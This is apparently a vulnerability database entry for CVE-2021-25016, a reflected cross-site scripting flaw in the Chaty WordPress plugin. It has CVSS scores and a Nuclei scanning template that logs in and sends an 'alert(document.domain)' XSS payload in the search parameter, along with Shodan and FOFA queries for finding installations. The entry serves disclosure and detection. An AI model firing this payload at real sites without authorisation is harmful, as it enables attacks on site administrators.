CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
46.7%
The Chaty WordPress plugin before 2.8.3 and Chaty Pro WordPress plugin before 2.8.2 do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting.
id: CVE-2021-25016
info:
name: Chaty < 2.8.2 - Cross-Site Scripting
author: luisfelipe146
severity: medium
description: |
The Chaty WordPress plugin before 2.8.3 and Chaty Pro WordPress plugin before 2.8.2 do not sanitise and escape the search parameter before outputting it back in the admin dashboard, leading to a Reflected Cross-Site Scripting.
remediation: Fixed in 2.8.3
reference:
- https://wpscan.com/vulnerability/b5035987-6227-4fc6-bc45-1e8016e5c4c0
- https://nvd.nist.gov/vuln/detail/CVE-2021-25016
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25016
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25016
cwe-id: CWE-79
epss-score: 0.00106
epss-percentile: 0.43227
cpe: cpe:2.3:a:premio:chaty:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: premio
product: chaty
framework: wordpress
shodan-query: http.html:/wp-content/plugins/chaty/
fofa-query: body=/wp-content/plugins/chaty/
publicwww-query: "/wp-content/plugins/chaty/"
tags: cve2021,cve,wpscan,wordpress,wp-plugin,xss,authenticated,chaty,premio
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=chaty-contact-form-feed&search=%3C%2Fscript%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "search=</script><img src onerror=alert(document.domain)>"
- "chaty_page_chaty"
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100c82f86dcd3e8b4a15e3ddea6f2679ac006399a334f94d29004e7c499a456647c02207d7a1d690acd371e2575c5a5890894ee0a0e3ca1c7507d8e83c613349a67ec41:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
46.7%